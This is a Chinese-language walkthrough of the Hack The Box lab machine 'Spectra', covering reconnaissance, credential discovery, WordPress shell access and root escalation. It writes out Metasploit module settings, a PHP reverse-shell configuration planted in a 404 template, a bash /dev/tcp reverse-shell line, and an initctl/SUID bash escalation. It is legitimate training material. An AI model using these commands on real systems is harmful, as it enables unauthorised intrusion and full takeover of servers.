Hackthebox - Spectra
靶场信息
靶场类型
信息搜集
使用nmap进行基本的端口扫描
nmap –A -sS -sC -sV 10.10.10.229
我们发现开启了22、80和3306端口
咱们访问80端口看一下
内容非常简单,咱们看一下源代码
发现会跳转到域名spectra.htb 咱们在hosts里添加该域名
vim /etc/hosts
10.10.10.229 spectra.htb www.spectra.htb
然后咱们访问一下试试
咱们可以看到这是一个wordpress的站点
到处点了一下似乎没有可用的东西,咱们看看另一个连接
建立数据连接错误,既然提示这个,又开启了3306端口,那么后面估计是一定会用到的,咱们先记录一下,后面很有可能会用到,然后把眼光放回第一个页面
咱们目前思路卡壳了,不知道做什么了,那就扫描一下目录吧,我这里使用dirbuster工具进行目录爆破吧
导入后按start启动扫描
扫描的同时我也在挨个看,发现/testing/目录下存在目录遍历漏洞,咱们进入看看
进来后发现又一些php文件,看文件名似乎还有配置文件,咱们挨个查看一下
在一圈文件查看下来后都没有看到什么有用的信息,但在文件wp-config.php.save的时候,点进去却是空白页面,但文件大小处却又明确显示是有内容的,这一点引起了我的注意
咱们看一下网页源代码
咱们居然在这找到了数据库的账号密码,看来运气还是不错的
db_name = dev
db_user = devtest
db_password = devteam01
漏洞利用
这里既然拿到了数据库账号密码,又开启了3306端口,咱们自然是尝试进行登录了
mysql –host 10.10.10.229 –user devtest –password devteam01 -D dev
但是这里却显示登录失败?不允许连接到这个数据库
嗯。。。看来果然没我想的那么简单啊,那么现在唯一用得到账号密码的,就只有wordpress了,咱们只能从这里继续入手了
http://spectra.htb/main/wp-login.php
咱们进行登录
直接使用之前获取到的数据库账号devtest进行登录却提示没有这个账号
看来果然没有我想的那么简单,我大意了,没有闪
好在这个时候,突然灵感从天而降,发现主页有一篇文章,最经典的一句“hello world”,but 咱们的重点不在这里,而是在发帖人,administrator
好家伙,这不就有用户名了嘛?而且同时咱们nmap没有识别出操作系统,看到这个就可以怀疑是windows了
咱们使用账户administrator 密码devteam01进行登录,成功进入后台
并且获取到wordpress的版本为5.4.2
拿到版本了,就可以使用已知漏洞进行攻击了
咱们这里有三种办法获得shell
第一种:
使用msf进行负载攻击
use exploit/unix/webapp/wp_admin_shell_upload
set USERNAME administrator
set PASSWORD devteam01
set TARGETURI /main
set rhosts 10.10.10.229
set lhost 10.10.14.135
exploit
nice 成功获取到一个shell
第二种:
修改404页面进行反弹shell
首先本地使用nc监听一个端口
nc -nvlp 5555
然后咱们登入到网站后台
修改404页面的源码
咱们插入恶意代码
下载地址
http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
其中需要修改的内容
set_time_limit (0);
$VERSION = “1.0”;
$ip = ‘10.10.14.135’; // CHANGE THIS
$port = 5555; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = ‘uname -a; w; id; /bin/sh -i’;
$daemon = 0;
$debug = 0;
然后点击保存
啊这,好像失败了,诸位等我稍稍研究一下
好了,经过测试,咱们将模板设置为Twenty Sevente就可以保存了
然后咱们访问404页面
http://spectra.htb/main/wp-content/themes/twentyseventeen/404.php
成功反弹回shell
第三种:
第三种就是利用插件上传的漏洞,然后使用msf来进行shell的接收,这个步骤咱们不如直接第一步了,有点多此一举,有兴趣的朋友可以自己进行研究
exploit地址
https://www.exploit-db.com/exploits/36374
msf设置
use exploit/unix/webapp/wp_slideshowgallery_upload
set rhosts 192.168.1.101
set targeturi /wordpress
exploit
exec(“ / bin / bash -c’bash -i>&/dev/tcp/10.0.0.1/8080 0>&1’”)
参考连接
https://www.hackingarticles.in/wordpress-reverse-shell/
权限提升
咱们首先使用python3获取一个更加稳定的shell
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
我们在翻找文件的时候,在opt目录下发现了一个autologin.conf.orig文件
cat查看后,发现是有个自动登录的脚本,指向了/etc/autologin
咱们过去看看
发现了一个passwd文件,咱们cat查看
得到了一个密码
SummerHereWeCome!!
经过测试并结合咱们找flag以及翻目录的时候得到的消息来看,似乎是用户katie的
正好开启了22端口,咱们使用ssh进行登录
成功登录
成功获得user权限的flag
使用sudo -l查看一下咱们的sudo权限
发现咱们可以执行/sbin/initctl
这个权限是查看咱们可编辑的服务
sudo initctl list
可编辑的服务挺多的,我就不全部截图了,然后咱们进行筛选查看
咱们在最后面看到一个名为test2的未运行且可编辑的服务,叫这个名字那就肯定不一般了,咱们look look,所有的服务都在/etc/init目录下
这么多test的服务,咱们就从test.conf开始look吧
cat /etc/init/test.conf
嗯。。。在这里正在运行一个nodejs的文件 nodetest.js 咱们也去look look
cat /srv/nodetest.js
咱们将恶意代码替换到test.conf里,然后执行进行提权吧,其实也可以更改nodetest.js的文件进行nc反弹并提权,但是好麻烦啊,我就给各位一个图,大家有兴趣的自己研究吧,我使用第二种办法,直接修改test.conf的内容吧
第一种:
第二种:
nano /etc/init/test.conf
执行如下命令即可提权
sudo /sbin/initctl start test
使用sudo权限启动test服务
ls -l /bin/bash
查看/bin/bash即可发现我们的SUID已经传递给root用户
/bin/bash -p
提权
提权成功
成功获得root权限的flag 完事儿收工睡觉